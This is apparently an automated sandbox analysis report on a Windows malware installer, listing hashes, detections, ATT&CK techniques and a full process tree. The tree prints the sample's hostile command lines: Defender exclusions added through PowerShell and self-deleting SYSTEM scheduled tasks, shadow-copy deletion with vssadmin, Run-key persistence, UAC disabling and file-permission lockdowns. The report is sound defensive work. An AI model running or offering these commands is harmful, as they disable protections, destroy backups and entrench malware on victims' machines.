Analysis
- max time kernel
140s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
14/08/2026, 03:03
Static task
static1
Behavioral task
behavioral1
Sample
install_sint018.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
install_sint018.exe
Resource
win11ltsc2024-20260709-en
General
- Target install_sint018.exe
- Size 40.7MB
- Sample260814-dj4f9seh26
- SHA256 5d58dbe5ec12642540240e0ddd4b2689a13dbc00e4252a35748390df9ae0d00f
- MD5 ce0db46e7d4d38baafa60c77617ec61b
- SHA1 c05e0a6037fde8477b72709df156ffba1a8cbc47
- SHA512 d1830b9ab62fc4fd5769221e99a0b56e21904d13f2b9c2e8abcc8334c9101b6c8ab0bc38236ba6e738a711709df9a809af2e0035e67222f38031a8d2a0121b3e
- SSDEEP 49152:TJXVSCM39nmT5ocV1Nxst3ZbypRxG80FfElQ+XwxhxuhSnY53G3SrXJAdrFejnty:Tu/9nmHZLxG80DuKA3XAD8ntZfh6fgC5
- TLSH T127974C02F7054AAFE07A9234489B8F61E335D8B146B1937723F55B2C1EEF34C4EA6964
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- UAC bypass 3 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" y8Sn4M.exe - Windows security bypass 2 TTPs 8 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\NviJXz = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2636 powershell.exe - Executes dropped EXE 4 IoCs
pid Process 6016 I9VM27.exe 1380 I9VM27.exe 6008 y8Sn4M.exe 1352 y8Sn4M.exe - Loads dropped DLL 4 IoCs
pid Process 6016 I9VM27.exe 1380 I9VM27.exe 6008 y8Sn4M.exe 1352 y8Sn4M.exe - Modifies file permissions 1 TTPs 15 IoCs
pid Process 4196 icacls.exe 5780 icacls.exe 4092 icacls.exe 4896 icacls.exe 4588 icacls.exe 3384 icacls.exe 5956 icacls.exe 5020 icacls.exe 4656 icacls.exe 3076 icacls.exe 3724 icacls.exe 4640 icacls.exe 2924 icacls.exe 4940 icacls.exe 2016 icacls.exe - Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\NviJXz\\I9VM27.exe\"" I9VM27.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\y8Sn4M\\y8Sn4M.exe\"" y8Sn4M.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 4912 cmd.exe 3472 cmd.exe 4908 cmd.exe 5076 cmd.exe 2156 cmd.exe - Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b I9VM27.exe - Drops file in Program Files directory 9 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\y8Sn4M I9VM27.exe File created C:\Program Files (x86)\y8Sn4M\XPSPLOG.dll I9VM27.exe File created C:\Program Files (x86)\y8Sn4M\image.png I9VM27.exe File created C:\Program Files (x86)\y8Sn4M\thumbs.db I9VM27.exe File opened for modification C:\Program Files (x86)\y8Sn4M\y8Sn4M.exe I9VM27.exe File opened for modification C:\Program Files (x86)\y8Sn4M\XPSPLOG.dll I9VM27.exe File opened for modification C:\Program Files (x86)\y8Sn4M\thumbs.db I9VM27.exe File created C:\Program Files (x86)\y8Sn4M\y8Sn4M.exe I9VM27.exe File opened for modification C:\Program Files (x86)\y8Sn4M\image.png I9VM27.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 24 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3124 cmd.exe 5944 cmd.exe 1876 cmd.exe 4440 cmd.exe 4328 cmd.exe 2852 cmd.exe 2564 cmd.exe 1764 cmd.exe 2684 cmd.exe 5816 cmd.exe 4604 cmd.exe 5176 cmd.exe 5616 cmd.exe 4444 cmd.exe 1280 cmd.exe 2948 cmd.exe 4784 cmd.exe 3784 cmd.exe 2148 cmd.exe 2636 cmd.exe 4740 cmd.exe 5552 cmd.exe 1488 cmd.exe 4584 cmd.exe - System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language y8Sn4M.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language y8Sn4M.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5552 schtasks.exe 4892 schtasks.exe 5496 schtasks.exe 5424 schtasks.exe 1996 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4296 install_sint018.exe 4296 install_sint018.exe 4296 install_sint018.exe 4296 install_sint018.exe 4296 install_sint018.exe 4296 install_sint018.exe 4296 install_sint018.exe 4296 install_sint018.exe 4296 install_sint018.exe 4296 install_sint018.exe 4296 install_sint018.exe 4296 install_sint018.exe 4296 install_sint018.exe 4296 install_sint018.exe 4296 install_sint018.exe 4296 install_sint018.exe 4296 install_sint018.exe 4296 install_sint018.exe 4296 install_sint018.exe 4296 install_sint018.exe 4296 install_sint018.exe 4296 install_sint018.exe 4296 install_sint018.exe 4296 install_sint018.exe 4296 install_sint018.exe 4296 install_sint018.exe 4296 install_sint018.exe 4296 install_sint018.exe 4296 install_sint018.exe 4296 install_sint018.exe 4296 install_sint018.exe 4296 install_sint018.exe 6016 I9VM27.exe 6016 I9VM27.exe 6016 I9VM27.exe 6016 I9VM27.exe 6016 I9VM27.exe 6016 I9VM27.exe 6016 I9VM27.exe 6016 I9VM27.exe 6016 I9VM27.exe 6016 I9VM27.exe 6016 I9VM27.exe 6016 I9VM27.exe 6016 I9VM27.exe 6016 I9VM27.exe 6016 I9VM27.exe 6016 I9VM27.exe 6016 I9VM27.exe 6016 I9VM27.exe 6016 I9VM27.exe 6016 I9VM27.exe 6016 I9VM27.exe 6016 I9VM27.exe 6016 I9VM27.exe 6016 I9VM27.exe 6016 I9VM27.exe 6016 I9VM27.exe 6016 I9VM27.exe 6016 I9VM27.exe 6016 I9VM27.exe 6016 I9VM27.exe 6016 I9VM27.exe 6016 I9VM27.exe - Suspicious behavior: LoadsDriver 8 IoCs
pid Process 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found - Suspicious use of AdjustPrivilegeToken 22 IoCs
description pid Process Token: SeDebugPrivilege 2636 powershell.exe Token: SeIncreaseQuotaPrivilege 2636 powershell.exe Token: SeSecurityPrivilege 2636 powershell.exe Token: SeTakeOwnershipPrivilege 2636 powershell.exe Token: SeLoadDriverPrivilege 2636 powershell.exe Token: SeSystemProfilePrivilege 2636 powershell.exe Token: SeSystemtimePrivilege 2636 powershell.exe Token: SeProfSingleProcessPrivilege 2636 powershell.exe Token: SeIncBasePriorityPrivilege 2636 powershell.exe Token: SeCreatePagefilePrivilege 2636 powershell.exe Token: SeBackupPrivilege 2636 powershell.exe Token: SeRestorePrivilege 2636 powershell.exe Token: SeShutdownPrivilege 2636 powershell.exe Token: SeDebugPrivilege 2636 powershell.exe Token: SeSystemEnvironmentPrivilege 2636 powershell.exe Token: SeRemoteShutdownPrivilege 2636 powershell.exe Token: SeUndockPrivilege 2636 powershell.exe Token: SeManageVolumePrivilege 2636 powershell.exe Token: 33 2636 powershell.exe Token: 34 2636 powershell.exe Token: 35 2636 powershell.exe Token: 36 2636 powershell.exe - Suspicious use of WriteProcessMemory 26 IoCs
description pid Process procid_target PID 6016 wrote to memory of 2636 6016 I9VM27.exe 93 PID 6016 wrote to memory of 4908 6016 I9VM27.exe 95 PID 4908 wrote to memory of 1996 4908 cmd.exe 98 PID 6016 wrote to memory of 5076 6016 I9VM27.exe 100 PID 4908 wrote to memory of 5660 4908 cmd.exe 101 PID 6016 wrote to memory of 2156 6016 I9VM27.exe 105 PID 4908 wrote to memory of 2404 4908 cmd.exe 107 PID 5076 wrote to memory of 5552 5076 cmd.exe 108 PID 2156 wrote to memory of 4892 2156 cmd.exe 109 PID 5076 wrote to memory of 4752 5076 cmd.exe 110 PID 2156 wrote to memory of 5176 2156 cmd.exe 112 PID 5076 wrote to memory of 3372 5076 cmd.exe 113 PID 2156 wrote to memory of 2672 2156 cmd.exe 114 PID 6016 wrote to memory of 4912 6016 I9VM27.exe 115 PID 4912 wrote to memory of 5496 4912 cmd.exe 117 PID 4912 wrote to memory of 5116 4912 cmd.exe 120 PID 6016 wrote to memory of 3472 6016 I9VM27.exe 123 PID 4912 wrote to memory of 3076 4912 cmd.exe 125 PID 3472 wrote to memory of 5424 3472 cmd.exe 126 PID 3472 wrote to memory of 2628 3472 cmd.exe 127 PID 3472 wrote to memory of 1660 3472 cmd.exe 129 PID 5816 wrote to memory of 4116 5816 cmd.exe 131 PID 2684 wrote to memory of 4108 2684 cmd.exe 132 PID 1280 wrote to memory of 4196 1280 cmd.exe 134 PID 2948 wrote to memory of 5808 2948 cmd.exe 135 PID 6016 wrote to memory of 6008 6016 I9VM27.exe 136 - System policy modification 1 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" y8Sn4M.exe - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\install_sint018.exe"C:\Users\Admin\AppData\Local\Temp\install_sint018.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
PID:4296
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:4416
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C:\Users\Public\NviJXz\I9VM27.exe"C:\Users\Public\NviJXz\I9VM27.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:6016 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:2636
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\NviJXz\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4908 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\NviJXz\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1996
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:5660
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2404
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:5076 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:5552
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4752
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3372
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:2156 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4892
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:5176
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2672
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4912 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:5496
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:5116
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3076
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3472 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:5424
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2628
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1660
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C:\Program Files (x86)\y8Sn4M\y8Sn4M.exe"C:\Program Files (x86)\y8Sn4M\y8Sn4M.exe"2⤵
- UAC bypass
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- System policy modification
PID:6008 -
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin delete shadows /all /quiet3⤵
- Executes a command shell one-liner
PID:1876
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\y8Sn4M" /inheritance:r3⤵
- Executes a command shell one-liner
PID:4784 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\y8Sn4M" /inheritance:r4⤵
- Modifies file permissions
PID:3724
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C:\Windows\SysWOW64\cmd.execmd /c echo.>c:\xxxx.ini3⤵
- Executes a command shell one-liner
PID:4604
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C:\Windows\SysWOW64\cmd.execmd /c echo.>c:\xxxx.ini3⤵
- Executes a command shell one-liner
PID:3784
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C:\Windows\SysWOW64\cmd.execmd /c echo.>c:\xxxx.ini3⤵
- Executes a command shell one-liner
PID:5552
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C:\Windows\SysWOW64\cmd.execmd /c echo.>c:\xxxx.ini3⤵
- Executes a command shell one-liner
PID:5176
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\y8Sn4M" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵
- Executes a command shell one-liner
PID:1488 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\y8Sn4M" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Modifies file permissions
PID:3384
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\y8Sn4M" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)3⤵
- Executes a command shell one-liner
PID:5616 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\y8Sn4M" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)4⤵
- Modifies file permissions
PID:4640
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\y8Sn4M\y8Sn4M.exe" /inheritance:r3⤵
- Executes a command shell one-liner
PID:4444 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\y8Sn4M\y8Sn4M.exe" /inheritance:r4⤵
- Modifies file permissions
PID:4092
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\y8Sn4M\y8Sn4M.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵
- Executes a command shell one-liner
PID:1764 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\y8Sn4M\y8Sn4M.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Modifies file permissions
PID:3076
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\y8Sn4M\y8Sn4M.exe" /grant:r Users:(RX) /deny Users:(DE)3⤵
- Executes a command shell one-liner
PID:5944 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\y8Sn4M\y8Sn4M.exe" /grant:r Users:(RX) /deny Users:(DE)4⤵
- Modifies file permissions
PID:5956
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\y8Sn4M\image.png" /inheritance:r3⤵
- Executes a command shell one-liner
PID:3124 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\y8Sn4M\image.png" /inheritance:r4⤵
- Modifies file permissions
PID:2016
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\y8Sn4M\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵
- Executes a command shell one-liner
PID:2564 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\y8Sn4M\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Modifies file permissions
PID:4656
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\y8Sn4M\image.png" /grant:r Users:(RX) /deny Users:(DE)3⤵
- Executes a command shell one-liner
PID:2852 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\y8Sn4M\image.png" /grant:r Users:(RX) /deny Users:(DE)4⤵
- Modifies file permissions
PID:4896
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\y8Sn4M\thumbs.db" /inheritance:r3⤵
- Executes a command shell one-liner
PID:4740 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\y8Sn4M\thumbs.db" /inheritance:r4⤵
- Modifies file permissions
PID:4940
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\y8Sn4M\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵
- Executes a command shell one-liner
PID:4328 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\y8Sn4M\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Modifies file permissions
PID:5020
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\y8Sn4M\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)3⤵
- Executes a command shell one-liner
PID:2636 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\y8Sn4M\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)4⤵
- Modifies file permissions
PID:2924
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\y8Sn4M\XPSPLOG.dll" /inheritance:r3⤵
- Executes a command shell one-liner
PID:4584 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\y8Sn4M\XPSPLOG.dll" /inheritance:r4⤵
- Modifies file permissions
PID:4196
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\y8Sn4M\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵
- Executes a command shell one-liner
PID:2148 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\y8Sn4M\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Modifies file permissions
PID:4588
-
-
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\y8Sn4M\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)3⤵
- Executes a command shell one-liner
PID:4440 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\y8Sn4M\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)4⤵
- Modifies file permissions
PID:5780
-
-
-
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C:\Users\Public\NviJXz\I9VM27.exe"C:\Users\Public\NviJXz\I9VM27.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1380
-
C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\NviJXz" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2684 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\NviJXz" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4108
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C:\Windows\system32\cmd.execmd.exe1⤵PID:1776
-
C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1280 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4196
-
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2948 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:5808
-
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5816 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4116
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C:\Program Files (x86)\y8Sn4M\y8Sn4M.exe"C:\Program Files (x86)\y8Sn4M\y8Sn4M.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:1352
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C:\Program Files (x86)\y8Sn4M\y8Sn4M.exe"C:\Program Files (x86)\y8Sn4M\y8Sn4M.exe"1⤵PID:3064
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C:\Program Files (x86)\aPDT0WW7V\Nz5booY.exe"C:\Program Files (x86)\aPDT0WW7V\Nz5booY.exe"1⤵PID:552
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1File and Directory Permissions Modification
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
1Clear Persistence
1Modify Registry
4Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Program Files (x86)\aPDT0WW7V\XPSPLOG.dll
- Size 4.6MB
- SHA256 3328fdb5a0e5d5057f5587fb1ee23da6f44760adb184f57131cc28241debd24f
- MD5 311a9ce1abba5cb43bf0833dd808c64f
- SHA1 fe893e6377b019433e0dc63bd4c7dae5617669e7
- SHA512 6e08d3323b42fca151e171f04f7882d28e3a0336e07123f2c69796e62575ca5a3c8e0faaafd7be37fb9c2b7159885b7c972d489f5fd2f79aeeb8be18332e4243
- SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyO:BMWKfU+BcUTHCCCfqCiUffnO
- TLSH T10A263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\aPDT0WW7V\image.png
- Size 5.0MB
- SHA256 4d24f6e24f4ae257202c8932c5a33dc5f3659c9632b185b0c0345c493a6d4f42
- MD5 34f3070fdb9defeb87847e547fe71994
- SHA1 10edd26fc12489d14b32844c4cfa5c07ee5903f8
- SHA512 451f37ac1f94cdfe0a5c3997da8dae4284878918363f2c6e3986ca1344ecfcd85b500021b1ef8d87ffdbb41b6768dcbb37f918884a651ec6895c1c963aedcd31
- SSDEEP 98304:mqvO3/u21dcwj8esL9KK5MMrOalZpUC/IQdFOrMeifpHcmI0DoKoxGhUX:q/u21dGs2rOal3UpkiMT59IZVGhW
- TLSH T1B1363325135D318B6AD6C2DCDF91617AE6814BF0E880CDB837D92FB3527CEBA7088645
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\y8Sn4M\XPSPLOG.dll
- Size 4.6MB
- SHA256 d17963429c383f89aa2c922c14b74305fd63cb3e1d936f43025aa524d629321f
- MD5 c7ac6cf6c48f3476fecc9fb1d5e0b62f
